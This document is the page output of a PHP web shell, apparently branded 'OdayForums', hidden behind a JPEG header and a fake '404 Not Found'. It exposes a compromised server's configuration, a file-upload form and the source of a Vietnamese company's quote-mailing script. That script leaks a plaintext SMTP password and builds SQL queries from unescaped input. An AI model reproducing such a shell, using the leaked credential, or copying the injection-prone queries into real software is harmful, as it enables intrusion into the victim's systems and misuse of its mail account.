ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/code/management/customer/send_baogia.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;


$v_customer_id = (isset($CORE->input['customer_id']) && $CORE->input['customer_id']>0) ? $CORE->input['customer_id'] : 0;
$row_customer = $DB->fetch_row($DB->query("SELECT * FROM tb_customer WHERE customer_id='$v_customer_id' "));
$v_customer_baogia_id = (isset($CORE->input['customer_baogia_id']) && $CORE->input['customer_baogia_id']>0) ? $CORE->input['customer_baogia_id'] : 0;

$row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_customer_baogia WHERE customer_id='$v_customer_id' AND customer_baogia_id='$v_customer_baogia_id'  "));
$txt_gender = '';
if($row_check['customer_baogia_gender']==1){
    $txt_gender = 'anh ';
}elseif($row_check['customer_baogia_gender']==2){
    $txt_gender = 'chị ';
}

$q_item = $DB->query("SELECT * FROM tb_baogia_item WHERE customer_baogia_id='$v_customer_baogia_id' AND customer_id='$v_customer_id' ORDER BY time_post ASC ");
$v_chi_phi = 0;
while ($r_item = $DB->fetch_row($q_item)){
    $arr_item[]=$r_item['baogia_item_name'];
    $v_chi_phi += $r_item['baogia_item_price'];
}

$v_email_id = (isset($CORE->input['email_id']) && $CORE->input['email_id']>0) ? $CORE->input['email_id'] : 0;
$txt_sendto = '';
$txt_ccto = '';
$link_file = '';
if($v_email_id==0){
    $row_check['body'] = '<h4>Kính chào '.$txt_gender.' '.$row_check['customer_baogia_tennguoinhan'].' và '.$row_check['customer_baogia_congtynguoinhan'].'.</h4>
    <p>
    Em là '.$ob_user->fullname.' - Nhân viên Công ty TNHH KVV Anh Vũ. Sau khi thống nhất và phân tích yêu cầu từ '.$txt_gender.', nay em xin phép gửi báo giá hosting - File đính kèm.
    </p>
    <p>
    Kính má»i anh và Quý công ty xem qua và phản hồi vá» báo giá này.
    </p>
    <p>
    Chân thành cảm ơn '.$txt_gender.'.
    </p>
    <br/>
    <br/>
    <br/>
                      <p>
    <b>CÔNG TY TNHH KVV ANH VŨ</b><br/>
    Website: <a href="https://kvvanhvu.com" target="_blank">kvvanhvu.com</a> - Hotline: 0947.973379
    </p>
                      <ul>
                    </textarea>';
}else{
    $row_email = $DB->fetch_row($DB->query("SELECT * FROM tb_customer_email WHERE customer_email_id='$v_email_id' "));

    $arr_sendto = explode(',',$row_email['customer_email_sendto']);
    foreach ($arr_sendto as $val){
        $txt_sendto .= '<option value="'.$val.'" selected>'.$val.'</option>';
    }
    $arr_cc = explode(',',$row_email['customer_email_ccto']);
    foreach ($arr_cc as $val){
        $txt_ccto .= '<option value="'.$val.'" selected>'.$val.'</option>';
    }
    //$row_check['customer_baogia_emailnguoinhan'] = $row_email['customer_email_sendto'];

    $row_check['customer_baogia_name'] = $row_email['customer_email_subject'];
    $row_check['body'] = html_entity_decode($row_email['customer_email_noidung']);
    if($row_email['customer_email_file']!='' and file_exists($row_email['customer_email_file'])){
        $link_file = $row_email['customer_email_file'];
    }
}

if(isset($CORE->input['submit_send']) or isset($CORE->input['submit_draft'])) {
    $f = $CORE->input['f'];
    $link_file = '';
    if($f['email_id']==0) {
        if (isset($_FILES['file_baogia']) && $_FILES['file_baogia']['tmp_name']!='') {
            if ($_FILES['file_baogia']['type'] == 'application/pdf') {
                $arr_insert = array('customer_id' => $f['customer_id'],
                    'customer_baogia_id' => $f['customer_baogia_id'],
                    'customer_email_sendto' => implode(',', $f['sendto']),
                    'customer_email_ccto' => implode(',', $f['ccto']),
                    'customer_email_subject' => trim($f['customer_email_subject']),
                    'customer_email_noidung' => trim($f['customer_email_noidung']),
                    'customer_email_file' => '',
                    'customer_email_status' => 'draft',
                    'time_post' => time(),
                    'user_post' => $ob_user->user_name
                );
                $customer_email_id = $DB->do_insert('tb_customer_email', $arr_insert);
                $year_now = date('Y');
                $month_now = date('m');
                if (!is_dir("upload/baogia")) {
                    mkdir("upload/baogia", 0777);
                }
                if (is_dir("upload/baogia/" . $year_now)) {
                    if (!is_dir("upload/baogia/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/baogia/" . $year_now . "/" . $month_now, 0777);
                    }
                } else {
                    mkdir("upload/baogia/" . $year_now, 0777);
                    if (!is_dir("upload/baogia/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/baogia/" . $year_now . "/" . $month_now, 0777);
                    }
                }
                $file_name = 'bao-gia-'.uniqid().'-' . date('d-m-Y') . '-' . $customer_email_id . '.pdf';
                $link_file = "upload/baogia/" . $year_now . "/" . $month_now . "/" . $file_name;
                if (move_uploaded_file($_FILES['file_baogia']['tmp_name'], $link_file)) {
                    $DB->query("UPDATE tb_customer_email SET customer_email_file='$link_file' WHERE customer_email_id='$customer_email_id' ");
                    //$print->refresh('?act=management&code=customer&type=send_baogia&type2=hosting&customer_id='.$f['customer_id'].'&customer_baogia_id='.$f['customer_baogia_id'],'Äã gá»­i báo giá');
                }
            } else {
                echo '<script>alert(\'File báo giá là file pdf\');</script>';
                $print->refresh('?act=management&code=customer&type=draft_baogia&type2=hosting&customer_id=' . $f['customer_id'] . '&customer_baogia_id=' . $f['customer_baogia_id'], 'Error! File hợp đồng là file pdf', 5);
            }
        } else {
            echo '<script>alert(\'Xin chá»n file báo giá\');</script>';
            $print->refresh('?act=management&code=customer&type=draft_baogia&type2=hosting&customer_id=' . $f['customer_id'] . '&customer_baogia_id=' . $f['customer_baogia_id'], 'Error! Xin chá»n file báo giá pdf', 5);
        }
    }else{
        $row_email = $DB->fetch_row($DB->query("SELECT * FROM tb_customer_email WHERE customer_email_id='".$f['email_id']."' "));
        if($row_email['customer_email_file']!='' and file_exists($row_email['customer_email_file'])){
            $link_file = $row_email['customer_email_file'];
        }
        $customer_email_id = $f['email_id'];

        if (isset($_FILES['file_baogia']) && $_FILES['file_baogia']['tmp_name']!='') {
            if ($_FILES['file_baogia']['type'] == 'application/pdf') {
                $arr_update = array(
                    'customer_email_sendto' => implode(',', $f['sendto']),
                    'customer_email_ccto' => implode(',', $f['ccto']),
                    'customer_email_subject' => trim($f['customer_email_subject']),
                    'customer_email_noidung' => trim($f['customer_email_noidung']),
                    'customer_email_status' => 'draft',
                    'time_post' => time(),
                    'user_post' => $ob_user->user_name
                );
                $DB->do_update('tb_customer_email', $arr_update, " WHERE customer_email_id='".$customer_email_id."' ");
                $year_now = date('Y');
                $month_now = date('m');
                if (!is_dir("upload/baogia")) {
                    mkdir("upload/baogia", 0777);
                }
                if (is_dir("upload/baogia/" . $year_now)) {
                    if (!is_dir("upload/baogia/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/baogia/" . $year_now . "/" . $month_now, 0777);
                    }
                } else {
                    mkdir("upload/baogia/" . $year_now, 0777);
                    if (!is_dir("upload/baogia/" . $year_now . "/" . $month_now)) {
                        mkdir("upload/baogia/" . $year_now . "/" . $month_now, 0777);
                    }
                }
                $file_name = 'bao-gia-'.uniqid().'-' . date('d-m-Y') . '-' . $customer_email_id . '.pdf';
                $link_file = "upload/baogia/" . $year_now . "/" . $month_now . "/" . $file_name;
                if (move_uploaded_file($_FILES['file_baogia']['tmp_name'], $link_file)) {
                    if($row_email['customer_email_file']!='' and file_exists($row_email['customer_email_file'])){
                        unlink($row_email['customer_email_file']);
                    }
                    $DB->query("UPDATE tb_customer_email SET customer_email_file='$link_file' WHERE customer_email_id='$customer_email_id' ");
                    //$print->refresh('?act=management&code=customer&type=send_baogia&type2=hosting&customer_id='.$f['customer_id'].'&customer_baogia_id='.$f['customer_baogia_id'],'Äã gá»­i báo giá');
                }
            } else {
                echo '<script>alert(\'File báo giá là file pdf\');</script>';
                $print->refresh('?act=management&code=customer&type=draft_baogia&type2=hosting&customer_id=' . $f['customer_id'] . '&customer_baogia_id=' . $f['customer_baogia_id'], 'Error! File hợp đồng là file pdf', 5);
            }
        }
    }


    if(isset($CORE->input['submit_send'])){
        if ($link_file!='' && file_exists($link_file)) {
            $mail = new PHPMailer(true);
//Server settings
            $mail->SMTPDebug = 0;                      //Enable verbose debug output
            $mail->isSMTP();                                            //Send using SMTP
            $mail->Host = 'mail9209.maychuemail.com';                     //Set the SMTP server to send through
            $mail->SMTPAuth = true;                                   //Enable SMTP authentication
            $mail->Username = 'info@kvvanhvu.com';                     //SMTP username
            $mail->Password = 'Timon!23';                               //SMTP password
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;            //Enable implicit TLS encryption
            $mail->Port = 587;
            $mail->SMTPSecure = 'tls';
            $mail->CharSet = 'UTF-8';
//TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

//Recipients
            $mail->setFrom('info@kvvanhvu.com', 'kvvanhvu.com');
//$mail->addAddress('joe@example.net', 'Joe User');
            //$mail->addAddress('xxxgiacxxx@gmail.com');               //Name is optional
            //$mail->addAddress('vtthanhvu@gmail.com');

            foreach ($f['sendto'] as $val) {
                $mail->addAddress($val);
            }
            foreach ($f['ccto'] as $val) {
                $mail->addCC($val);
            }
            $mail->addReplyTo('info@kvvanhvu.com', 'kvvanhvu.com');

//$mail->addReplyTo($email,  $name);
//$mail->addCC('cc@example.com');
// $mail->addBCC('bcc@example.com');

//Attachments
//$mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
//$mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name
            $mail->addAttachment($link_file);
//Content
            $mail->isHTML(true);                                  //Set email format to HTML
            $mail->Subject = trim($f['customer_email_subject']);
            $mail->Body = html_entity_decode($f['customer_email_noidung']);
            $mail->AltBody = 'Bao giá từ Công ty TNHH KVV Anh Vũ';

            if ($mail->send()) {
                $DB->query("UPDATE tb_customer_baogia SET customer_baogia_status='sent' WHERE customer_baogia_id='" . $f['customer_baogia_id'] . "' ");

                $DB->query("UPDATE tb_customer_email SET customer_email_status='sent' WHERE customer_email_id='$customer_email_id' ");
                $print->refresh('?act=management&code=customer&type=sent_baogia&type2=hosting&customer_id=' . $f['customer_id'] . '&customer_baogia_id=' . $f['customer_baogia_id'], 'Äã gá»­i báo giá');
            } else {
                echo '<script>alert(\'SMTP error!\');</script>';
                $print->refresh('?act=management&code=customer&type=send_baogia&type2=hosting&customer_id=' . $f['customer_id'] . '&customer_baogia_id=' . $f['customer_baogia_id'], 'SMTP Error! ', 5);
            }
            //exit();
        }
    }
    $print->refresh('?act=management&code=customer&type=draft_baogia&type2=hosting&customer_id=' . $f['customer_id'] . '&customer_baogia_id=' . $f['customer_baogia_id'], 'Äã lÆ°u nháp');

}

ZeroDay Forums Mini